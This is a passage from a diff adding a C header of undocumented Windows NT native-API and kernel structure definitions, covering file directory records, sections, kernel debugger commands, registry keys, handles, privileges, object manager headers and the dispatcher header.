_FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + +typedef struct _FILE_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + WCHAR FileName[1]; +} FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION; + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + +typedef struct _FILE_NAMES_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_NAMES_INFORMATION, *PFILE_NAMES_INFORMATION; + +typedef struct _FILE_OBJECTID_INFORMATION { + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + }; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; +/* +** File END +*/ + +/* +** Section START +*/ + +#ifndef _SECTION_INFORMATION_CLASS +typedef enum _SECTION_INFORMATION_CLASS { + SectionBasicInformation, + SectionImageInformation, + SectionRelocationInformation, + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; +#endif + +typedef struct _SECTIONBASICINFO { + PVOID BaseAddress; + ULONG AllocationAttributes; + LARGE_INTEGER MaximumSize; +} SECTION_BASIC_INFORMATION, *PSECTION_BASIC_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION { + PVOID TransferAddress; + ULONG ZeroBits; + SIZE_T MaximumStackSize; + SIZE_T CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[1]; +} SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION; + +typedef struct _SECTION_IMAGE_INFORMATION64 { + ULONGLONG TransferAddress; + ULONG ZeroBits; + ULONGLONG MaximumStackSize; + ULONGLONG CommittedStackSize; + ULONG SubSystemType; + union { + struct { + USHORT SubSystemMinorVersion; + USHORT SubSystemMajorVersion; + }; + ULONG SubSystemVersion; + }; + ULONG GpValue; + USHORT ImageCharacteristics; + USHORT DllCharacteristics; + USHORT Machine; + BOOLEAN ImageContainsCode; + BOOLEAN Spare1; + ULONG LoaderFlags; + ULONG ImageFileSize; + ULONG Reserved[1]; +} SECTION_IMAGE_INFORMATION64, *PSECTION_IMAGE_INFORMATION64; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +#define SEC_BASED 0x200000 +#define SEC_NO_CHANGE 0x400000 +#define SEC_FILE 0x800000 +#define SEC_IMAGE 0x1000000 +#define SEC_RESERVE 0x4000000 +#define SEC_COMMIT 0x8000000 +#define SEC_NOCACHE 0x10000000 +#define SEC_GLOBAL 0x20000000 +#define SEC_LARGE_PAGES 0x80000000 + +/* +** Section END +*/ + +/* +** Kernel Debugger START +*/ + +#ifndef _SYSDBG_COMMAND +typedef enum _SYSDBG_COMMAND { + SysDbgQueryModuleInformation, + SysDbgQueryTraceInformation, + SysDbgSetTracepoint, + SysDbgSetSpecialCall, + SysDbgClearSpecialCalls, + SysDbgQuerySpecialCalls, + SysDbgBreakPoint, + SysDbgQueryVersion, + SysDbgReadVirtual, + SysDbgWriteVirtual, + SysDbgReadPhysical, + SysDbgWritePhysical, + SysDbgReadControlSpace, + SysDbgWriteControlSpace, + SysDbgReadIoSpace, + SysDbgWriteIoSpace, + SysDbgReadMsr, + SysDbgWriteMsr, + SysDbgReadBusData, + SysDbgWriteBusData, + SysDbgCheckLowMemory, + SysDbgEnableKernelDebugger, + SysDbgDisableKernelDebugger, + SysDbgGetAutoKdEnable, + SysDbgSetAutoKdEnable, + SysDbgGetPrintBufferSize, + SysDbgSetPrintBufferSize, + SysDbgGetKdUmExceptionEnable, + SysDbgSetKdUmExceptionEnable, + SysDbgGetTriageDump, + SysDbgGetKdBlockEnable, + SysDbgSetKdBlockEnable, + SysDbgRegisterForUmBreakInfo, + SysDbgGetUmBreakPid, + SysDbgClearUmBreakPid, + SysDbgGetUmAttachPid, + SysDbgClearUmAttachPid +} SYSDBG_COMMAND, *PSYSDBG_COMMAND; +#endif + +#ifndef _SYSDBG_VIRTUAL +typedef struct _SYSDBG_VIRTUAL +{ + PVOID Address; + PVOID Buffer; + ULONG Request; +} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL; +#endif + +/* +** Kernel Debugger END +*/ + +/* +** System Boot Environment START +*/ + +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1 // Size=20 +{ + struct _GUID BootIdentifier; + enum _FIRMWARE_TYPE FirmwareType; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION_V1; + +typedef struct _SYSTEM_BOOT_ENVIRONMENT_INFORMATION // Size=32 +{ + struct _GUID BootIdentifier; + enum _FIRMWARE_TYPE FirmwareType; + unsigned __int64 BootFlags; +} SYSTEM_BOOT_ENVIRONMENT_INFORMATION, *PSYSTEM_BOOT_ENVIRONMENT_INFORMATION; + +/* +** System Boot Environment END +*/ + +/* +** Mutant START +*/ + +#ifndef _MUTANT_INFORMATION_CLASS +typedef enum _MUTANT_INFORMATION_CLASS { + MutantBasicInformation +} MUTANT_INFORMATION_CLASS; +#endif + +#ifndef _MUTANT_BASIC_INFORMATION +typedef struct _MUTANT_BASIC_INFORMATION { + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION; +#endif + +/* +** Mutant END +*/ + +/* +** Key START +*/ + +#ifndef _KEY_INFORMATION_CLASS +typedef enum _KEY_INFORMATION_CLASS { + KeyBasicInformation, + KeyNodeInformation, + KeyFullInformation, + KeyNameInformation, + KeyCachedInformation, + KeyFlagsInformation, + MaxKeyInfoClass +} KEY_INFORMATION_CLASS; +#endif + +#ifndef _KEY_FULL_INFORMATION +typedef struct _KEY_FULL_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG ClassOffset; + ULONG ClassLength; + ULONG SubKeys; + ULONG MaxNameLen; + ULONG MaxClassLen; + ULONG Values; + ULONG MaxValueNameLen; + ULONG MaxValueDataLen; + WCHAR Class[1]; +} KEY_FULL_INFORMATION, *PKEY_FULL_INFORMATION; +#endif + +#ifndef _KEY_BASIC_INFORMATION +typedef struct _KEY_BASIC_INFORMATION { + LARGE_INTEGER LastWriteTime; + ULONG TitleIndex; + ULONG NameLength; + WCHAR Name[1]; +} KEY_BASIC_INFORMATION, *PKEY_BASIC_INFORMATION; +#endif + +#ifndef _KEY_VALUE_INFORMATION_CLASS +typedef enum _KEY_VALUE_INFORMATION_CLASS { + KeyValueBasicInformation, + KeyValueFullInformation, + KeyValuePartialInformation, + KeyValueFullInformationAlign64, + KeyValuePartialInformationAlign64, + MaxKeyValueInfoClass +} KEY_VALUE_INFORMATION_CLASS; +#endif + +#ifndef _KEY_VALUE_BASIC_INFORMATION +typedef struct _KEY_VALUE_BASIC_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG NameLength; + WCHAR Name[1]; // Variable size +} KEY_VALUE_BASIC_INFORMATION, *PKEY_VALUE_BASIC_INFORMATION; +#endif + +#ifndef _KEY_VALUE_FULL_INFORMATION +typedef struct _KEY_VALUE_FULL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataOffset; + ULONG DataLength; + ULONG NameLength; + WCHAR Name[1]; // Variable size + // Data[1]; // Variable size data not declared +} KEY_VALUE_FULL_INFORMATION, *PKEY_VALUE_FULL_INFORMATION; +#endif + +#ifndef _KEY_VALUE_PARTIAL_INFORMATION +typedef struct _KEY_VALUE_PARTIAL_INFORMATION { + ULONG TitleIndex; + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION, *PKEY_VALUE_PARTIAL_INFORMATION; +#endif + +#ifndef _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 +typedef struct _KEY_VALUE_PARTIAL_INFORMATION_ALIGN64 { + ULONG Type; + ULONG DataLength; + UCHAR Data[1]; // Variable size +} KEY_VALUE_PARTIAL_INFORMATION_ALIGN64, *PKEY_VALUE_PARTIAL_INFORMATION_ALIGN64; +#endif + +#ifndef _KEY_VALUE_ENTRY +typedef struct _KEY_VALUE_ENTRY { + PUNICODE_STRING ValueName; + ULONG DataLength; + ULONG DataOffset; + ULONG Type; +} KEY_VALUE_ENTRY, *PKEY_VALUE_ENTRY; +#endif + +/* +** Key END +*/ + +/* +** IoCompletion START +*/ + +#ifndef _IO_COMPLETION_INFORMATION_CLASS +typedef enum _IO_COMPLETION_INFORMATION_CLASS { + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; +#endif + +#ifndef _IO_COMPLETION_BASIC_INFORMATION +typedef struct _IO_COMPLETION_BASIC_INFORMATION { + LONG Depth; +} IO_COMPLETION_BASIC_INFORMATION, *PIO_COMPLETION_BASIC_INFORMATION; +#endif + +/* +** IoCompletion END +*/ + +/* +** Event START +*/ + +// +// Event Specific Access Rights. +// + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation +} EVENT_INFORMATION_CLASS; + +typedef enum _EVENT_TYPE { + NotificationEvent, + SynchronizationEvent +} EVENT_TYPE; + +typedef struct _EVENT_BASIC_INFORMATION { + EVENT_TYPE EventType; + LONG EventState; +} EVENT_BASIC_INFORMATION, *PEVENT_BASIC_INFORMATION; + +/* +** Event END +*/ + +/* +** TIME_FIELDS START +*/ + +#ifndef CSHORT +typedef short CSHORT; +#endif +typedef struct _TIME_FIELDS { + CSHORT Year; // range [1601...] + CSHORT Month; // range [1..12] + CSHORT Day; // range [1..31] + CSHORT Hour; // range [0..23] + CSHORT Minute; // range [0..59] + CSHORT Second; // range [0..59] + CSHORT Milliseconds;// range [0..999] + CSHORT Weekday; // range [0..6] == [Sunday..Saturday] +} TIME_FIELDS; +typedef TIME_FIELDS *PTIME_FIELDS; + +/* +** TIME_FIELDS END +*/ + +/* +** HANDLE START +*/ + +typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO { + USHORT UniqueProcessId; + USHORT CreatorBackTraceIndex; + UCHAR ObjectTypeIndex; + UCHAR HandleAttributes; + USHORT HandleValue; + PVOID Object; + ULONG GrantedAccess; +} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO; + +typedef struct _SYSTEM_HANDLE_INFORMATION { + ULONG NumberOfHandles; + SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1]; +} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION; + +/* +** HANDLE END +*/ + +// Privileges + +#define SE_MIN_WELL_KNOWN_PRIVILEGE (2L) +#define SE_CREATE_TOKEN_PRIVILEGE (2L) +#define SE_ASSIGNPRIMARYTOKEN_PRIVILEGE (3L) +#define SE_LOCK_MEMORY_PRIVILEGE (4L) +#define SE_INCREASE_QUOTA_PRIVILEGE (5L) +#define SE_MACHINE_ACCOUNT_PRIVILEGE (6L) +#define SE_TCB_PRIVILEGE (7L) +#define SE_SECURITY_PRIVILEGE (8L) +#define SE_TAKE_OWNERSHIP_PRIVILEGE (9L) +#define SE_LOAD_DRIVER_PRIVILEGE (10L) +#define SE_SYSTEM_PROFILE_PRIVILEGE (11L) +#define SE_SYSTEMTIME_PRIVILEGE (12L) +#define SE_PROF_SINGLE_PROCESS_PRIVILEGE (13L) +#define SE_INC_BASE_PRIORITY_PRIVILEGE (14L) +#define SE_CREATE_PAGEFILE_PRIVILEGE (15L) +#define SE_CREATE_PERMANENT_PRIVILEGE (16L) +#define SE_BACKUP_PRIVILEGE (17L) +#define SE_RESTORE_PRIVILEGE (18L) +#define SE_SHUTDOWN_PRIVILEGE (19L) +#define SE_DEBUG_PRIVILEGE (20L) +#define SE_AUDIT_PRIVILEGE (21L) +#define SE_SYSTEM_ENVIRONMENT_PRIVILEGE (22L) +#define SE_CHANGE_NOTIFY_PRIVILEGE (23L) +#define SE_REMOTE_SHUTDOWN_PRIVILEGE (24L) +#define SE_UNDOCK_PRIVILEGE (25L) +#define SE_SYNC_AGENT_PRIVILEGE (26L) +#define SE_ENABLE_DELEGATION_PRIVILEGE (27L) +#define SE_MANAGE_VOLUME_PRIVILEGE (28L) +#define SE_IMPERSONATE_PRIVILEGE (29L) +#define SE_CREATE_GLOBAL_PRIVILEGE (30L) +#define SE_TRUSTED_CREDMAN_ACCESS_PRIVILEGE (31L) +#define SE_RELABEL_PRIVILEGE (32L) +#define SE_INC_WORKING_SET_PRIVILEGE (33L) +#define SE_TIME_ZONE_PRIVILEGE (34L) +#define SE_CREATE_SYMBOLIC_LINK_PRIVILEGE (35L) +#define SE_MAX_WELL_KNOWN_PRIVILEGE SE_CREATE_SYMBOLIC_LINK_PRIVILEGE + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +/* +** OBJECT MANAGER START +*/ + +// +// Header flags +// + +#define OB_FLAG_NEW_OBJECT 0x01 +#define OB_FLAG_KERNEL_OBJECT 0x02 +#define OB_FLAG_CREATOR_INFO 0x04 +#define OB_FLAG_EXCLUSIVE_OBJECT 0x08 +#define OB_FLAG_PERMANENT_OBJECT 0x10 +#define OB_FLAG_DEFAULT_SECURITY_QUOTA 0x20 +#define OB_FLAG_SINGLE_HANDLE_ENTRY 0x40 +#define OB_FLAG_DELETED_INLINE 0x80 + +// +// InfoMask values +// + +#define OB_INFOMASK_PROCESS_INFO 0x10 +#define OB_INFOMASK_QUOTA 0x08 +#define OB_INFOMASK_HANDLE 0x04 +#define OB_INFOMASK_NAME 0x02 +#define OB_INFOMASK_CREATOR_INFO 0x01 + +typedef PVOID *PDEVICE_MAP; + +typedef struct _OBJECT_DIRECTORY_ENTRY { + PVOID ChainLink; + PVOID Object; + ULONG HashValue; +} OBJECT_DIRECTORY_ENTRY, *POBJECT_DIRECTORY_ENTRY; + +typedef struct _EX_PUSH_LOCK { + union + { + ULONG Locked : 1; + ULONG Waiting : 1; + ULONG Waking : 1; + ULONG MultipleShared : 1; + ULONG Shared : 28; + ULONG Value; + PVOID Ptr; + }; +} EX_PUSH_LOCK, *PEX_PUSH_LOCK; + +typedef struct _OBJECT_DIRECTORY { + POBJECT_DIRECTORY_ENTRY HashBuckets[37]; + EX_PUSH_LOCK Lock; + PDEVICE_MAP DeviceMap; + ULONG SessionId; + PVOID NamespaceEntry; + ULONG Flags; +} OBJECT_DIRECTORY, *POBJECT_DIRECTORY; + +typedef struct _OBJECT_HEADER_NAME_INFO { + POBJECT_DIRECTORY Directory; + UNICODE_STRING Name; + ULONG QueryReferences; +} OBJECT_HEADER_NAME_INFO, *POBJECT_HEADER_NAME_INFO; + +typedef struct _OBJECT_HEADER_CREATOR_INFO {// Size=32 + LIST_ENTRY TypeList; // Size=16 Offset=0 + PVOID CreatorUniqueProcess; // Size=8 Offset=16 + USHORT CreatorBackTraceIndex; // Size=2 Offset=24 + USHORT Reserved; // Size=2 Offset=26 +} OBJECT_HEADER_CREATOR_INFO, *POBJECT_HEADER_CREATOR_INFO; + +typedef struct _OBJECT_HANDLE_COUNT_ENTRY {// Size=16 + PVOID Process; // Size=8 Offset=0 + struct + { + unsigned long HandleCount : 24; // Size=4 Offset=8 BitOffset=0 BitCount=24 + unsigned long LockCount : 8; // Size=4 Offset=8 BitOffset=24 BitCount=8 + }; +} OBJECT_HANDLE_COUNT_ENTRY, *POBJECT_HANDLE_COUNT_ENTRY; + +typedef struct _OBJECT_HEADER_HANDLE_INFO // Size=16 +{ + union + { + PVOID HandleCountDataBase; // Size=8 Offset=0 + struct _OBJECT_HANDLE_COUNT_ENTRY SingleEntry; // Size=16 Offset=0 + }; +} OBJECT_HEADER_HANDLE_INFO, *POBJECT_HEADER_HANDLE_INFO; + +typedef struct _OBJECT_HEADER_PROCESS_INFO { // Size=16 + PVOID ExclusiveProcess; // Size=8 Offset=0 + unsigned __int64 Reserved; // Size=8 Offset=8 +} OBJECT_HEADER_PROCESS_INFO, *POBJECT_HEADER_PROCESS_INFO; + +typedef struct _OBJECT_HEADER_QUOTA_INFO { + ULONG PagedPoolCharge; //4 + ULONG NonPagedPoolCharge; //4 + ULONG SecurityDescriptorCharge; //4 + PVOID SecurityDescriptorQuotaBlock; //sizeof(pointer) + unsigned __int64 Reserved; //sizeof(uint64) +} OBJECT_HEADER_QUOTA_INFO, *POBJECT_HEADER_QUOTA_INFO; + +typedef struct _QUAD { + union + { + INT64 UseThisFieldToCopy; + float DoNotUseThisField; + }; +} QUAD, *PQUAD; + +typedef struct _OBJECT_CREATE_INFORMATION { + ULONG Attributes; + PVOID RootDirectory; + CHAR ProbeMode; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG SecurityDescriptorCharge; + PVOID SecurityDescriptor; + PSECURITY_QUALITY_OF_SERVICE SecurityQos; + SECURITY_QUALITY_OF_SERVICE SecurityQualityOfService; +} OBJECT_CREATE_INFORMATION, *POBJECT_CREATE_INFORMATION; + +typedef enum _POOL_TYPE { + NonPagedPool = 0, + NonPagedPoolExecute = 0, + PagedPool = 1, + NonPagedPoolMustSucceed = 2, + DontUseThisType = 3, + NonPagedPoolCacheAligned = 4, + PagedPoolCacheAligned = 5, + NonPagedPoolCacheAlignedMustS = 6, + MaxPoolType = 7, + NonPagedPoolBase = 0, + NonPagedPoolBaseMustSucceed = 2, + NonPagedPoolBaseCacheAligned = 4, + NonPagedPoolBaseCacheAlignedMustS = 6, + NonPagedPoolSession = 32, + PagedPoolSession = 33, + NonPagedPoolMustSucceedSession = 34, + DontUseThisTypeSession = 35, + NonPagedPoolCacheAlignedSession = 36, + PagedPoolCacheAlignedSession = 37, + NonPagedPoolCacheAlignedMustSSession = 38, + NonPagedPoolNx = 512, + NonPagedPoolNxCacheAligned = 516, + NonPagedPoolSessionNx = 544 +} POOL_TYPE; + +typedef struct _OBJECT_TYPE_INITIALIZER_V1 { + USHORT Length; + BOOLEAN UseDefaultObject; + BOOLEAN Reserved1; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ACCESS_MASK ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + BOOLEAN MaintainTypeList; + UCHAR Reserved2; + BOOLEAN PagedPool; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; + PVOID DumpProcedure; + PVOID OpenProcedure; + PVOID CloseProcedure; + PVOID DeleteProcedure; + PVOID ParseProcedure; + PVOID SecurityProcedure; + PVOID QueryNameProcedure; + PVOID OkayToCloseProcedure; +} OBJECT_TYPE_INITIALIZER_V1, *POBJECT_TYPE_INITIALIZER_V1; + +typedef struct _OBJECT_TYPE_INITIALIZER_V2 {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 +} OBJECT_TYPE_INITIALIZER_V2, *POBJECT_TYPE_INITIALIZER_V2; + +typedef struct _OBJECT_TYPE_INITIALIZER_V3 {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 + ULONG WaitObjectFlagMask; // Size=4 Offset=112 + USHORT WaitObjectFlagOffset; // Size=2 Offset=116 + USHORT WaitObjectPointerOffset; // Size=2 Offset=118 +} OBJECT_TYPE_INITIALIZER_V3, *POBJECT_TYPE_INITIALIZER_V3; + +typedef struct _OBJECT_TYPE_INITIALIZER {// Size=120 + USHORT Length; // Size=2 Offset=0 + UCHAR ObjectTypeFlags; // Size=1 Offset=2 + ULONG ObjectTypeCode; // Size=4 Offset=4 + ULONG InvalidAttributes; // Size=4 Offset=8 + GENERIC_MAPPING GenericMapping; // Size=16 Offset=12 + ULONG ValidAccessMask; // Size=4 Offset=28 + ULONG RetainAccess; // Size=4 Offset=32 + POOL_TYPE PoolType; // Size=4 Offset=36 + ULONG DefaultPagedPoolCharge; // Size=4 Offset=40 + ULONG DefaultNonPagedPoolCharge; // Size=4 Offset=44 + PVOID DumpProcedure; // Size=8 Offset=48 + PVOID OpenProcedure; // Size=8 Offset=56 + PVOID CloseProcedure; // Size=8 Offset=64 + PVOID DeleteProcedure; // Size=8 Offset=72 + PVOID ParseProcedure; // Size=8 Offset=80 + PVOID SecurityProcedure; // Size=8 Offset=88 + PVOID QueryNameProcedure; // Size=8 Offset=96 + PVOID OkayToCloseProcedure; // Size=8 Offset=104 +} OBJECT_TYPE_INITIALIZER, *POBJECT_TYPE_INITIALIZER; + +typedef struct _OBJECT_TYPE_V2 {// Size=216 + LIST_ENTRY TypeList; // Size=16 Offset=0 + UNICODE_STRING Name; // Size=16 Offset=16 + PVOID DefaultObject; // Size=8 Offset=32 + UCHAR Index; // Size=1 Offset=40 + ULONG TotalNumberOfObjects; // Size=4 Offset=44 + ULONG TotalNumberOfHandles; // Size=4 Offset=48 + ULONG HighWaterNumberOfObjects; // Size=4 Offset=52 + ULONG HighWaterNumberOfHandles; // Size=4 Offset=56 + OBJECT_TYPE_INITIALIZER_V2 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_V2, *POBJECT_TYPE_V2; + +typedef struct _OBJECT_TYPE_V3 {// Size=216 + LIST_ENTRY TypeList; // Size=16 Offset=0 + UNICODE_STRING Name; // Size=16 Offset=16 + PVOID DefaultObject; // Size=8 Offset=32 + UCHAR Index; // Size=1 Offset=40 + ULONG TotalNumberOfObjects; // Size=4 Offset=44 + ULONG TotalNumberOfHandles; // Size=4 Offset=48 + ULONG HighWaterNumberOfObjects; // Size=4 Offset=52 + ULONG HighWaterNumberOfHandles; // Size=4 Offset=56 + OBJECT_TYPE_INITIALIZER_V3 TypeInfo; + EX_PUSH_LOCK TypeLock; + ULONG Key; + LIST_ENTRY CallbackList; +} OBJECT_TYPE_V3, *POBJECT_TYPE_V3; + +typedef struct _OBJECT_TYPE_COMPATIBLE { + LIST_ENTRY TypeList; + UNICODE_STRING Name; + PVOID DefaultObject; + UCHAR Index; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + OBJECT_TYPE_INITIALIZER_V2 TypeInfo; +} OBJECT_TYPE_COMPATIBLE, *POBJECT_TYPE_COMPATIBLE; + +/* +** brand new header starting from 6.1 +*/ + +typedef struct _OBJECT_HEADER { + LONG PointerCount; + union + { + LONG HandleCount; + PVOID NextToFree; + }; + EX_PUSH_LOCK Lock; + UCHAR TypeIndex; + UCHAR TraceFlags; + UCHAR InfoMask; + UCHAR Flags; + union + { + POBJECT_CREATE_INFORMATION ObjectCreateInfo; + PVOID QuotaBlockCharged; + }; + PVOID SecurityDescriptor; + QUAD Body; +} OBJECT_HEADER, *POBJECT_HEADER; + +#define OBJECT_TO_OBJECT_HEADER(obj) \ + CONTAINING_RECORD( (obj), OBJECT_HEADER, Body ) + +/* +** OBJECT MANAGER END +*/ + +/* +* WDM START +*/ +#define TIMER_TOLERABLE_DELAY_BITS 6 +#define TIMER_EXPIRED_INDEX_BITS 6 +#define TIMER_PROCESSOR_INDEX_BITS 5 + +typedef struct _DISPATCHER_HEADER { + union { + union { + volatile LONG Lock; + LONG LockNV; + } DUMMYUNIONNAME; + + struct { // Events, Semaphores, Gates, etc. + UCHAR Type; // All (accessible via KOBJECT_TYPE) + UCHAR Signalling; + UCHAR Size; + UCHAR Reserved1; + } DUMMYSTRUCTNAME; + + struct { // Timer + UCHAR TimerType; + union { + UCHAR TimerControlFlags; + struct { + UCHAR Absolute : 1; + UCHAR Wake : 1; + UCHAR EncodedTolerableDelay : TIMER_TOLERABLE_DELAY_BITS; + } DUMMYSTRUCTNAME; + }; + + UCHAR Hand; + union { + UCHAR TimerMiscFlags; + struct { + +#if !defined(KENCODED_TIMER_PROCESSOR) + + UCHAR Index : TIMER_EXPIRED_INDEX_BITS; + +#else + + UCHAR Index : 1; + UCHAR Processor : TIMER_PROCESSOR_INDEX_BITS; + +#endif + + UCHAR Inserted : 1; + volatile UCHAR Expired : 1; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + } DUMMYSTRUCTNAME2; + + struct { // Timer2 + UCHAR Timer2Type; + union { + UCHAR Timer2Flags; + struct { + UCHAR Timer2Inserted : 1; + UCHAR Timer2Expiring : 1; + UCHAR Timer2CancelPending : 1; + UCHAR Timer2SetPending : 1; + UCHAR Timer2Running : 1; + UCHAR Timer2Disabled : 1; + UCHAR Timer2ReservedFlags : 2; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + UCHAR Timer2Reserved1; + UCHAR Timer2Reserved2; + } DUMMYSTRUCTNAME3; + + struct { // Queue + UCHAR QueueType; + union { + UCHAR QueueControlFlags; + struct { + UCHAR Abandoned : 1; + UCHAR DisableIncrement : 1; + UCHAR QueueReservedControlFlags : 6; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + UCHAR QueueSize; + UCHAR QueueReserved; + } DUMMYSTRUCTNAME4; + + struct { // Thread + UCHAR ThreadType; + UCHAR ThreadReserved; + union { + UCHAR ThreadControlFlags; + struct { + UCHAR CycleProfiling : 1; + UCHAR CounterProfiling : 1; + UCHAR GroupScheduling : 1; + UCHAR AffinitySet : 1; + UCHAR ThreadReservedControlFlags : 4; + } DUMMYSTRUCTNAME; + } DUMMYUNIONNAME; + + union { + UCHAR DebugActive; + +#if !defined(_X86_) + + struct { + BOOLEAN ActiveDR7 : 1; + BOOLEAN Instrumented : 1; + BOOLEAN Minimal : 1; + BOOLEAN Reserved4 : 3; + BOOLEAN UmsScheduled : 1; + BOOLEAN UmsPrimary : 1; + } DUMMYSTRUCTNAME; + +#endif + + } DUMMYUNIONNAME2; + } DUMMYSTRUCTNAME5; + + struct { // Mutant + UCHAR MutantType; + UCHAR MutantSize; + BOOLEAN DpcActive; + UCHAR MutantReserved; + } DUMMYSTRUCTNAME6; + } DUMMYUNIONNAME; + + LONG SignalState; // Object lock + LIST_ENTRY WaitListHead; // Object lock +} DISPATCHER_HEADER, *PDISPATCHER_HEADER; + +typedef struct _KEVENT { + DISPATCHER_HEADER Header; +} KEVENT, *PKEVENT, *PRKEVENT; + +typedef struct _KMUTANT { + DISPATCHER_HEADER Header; + 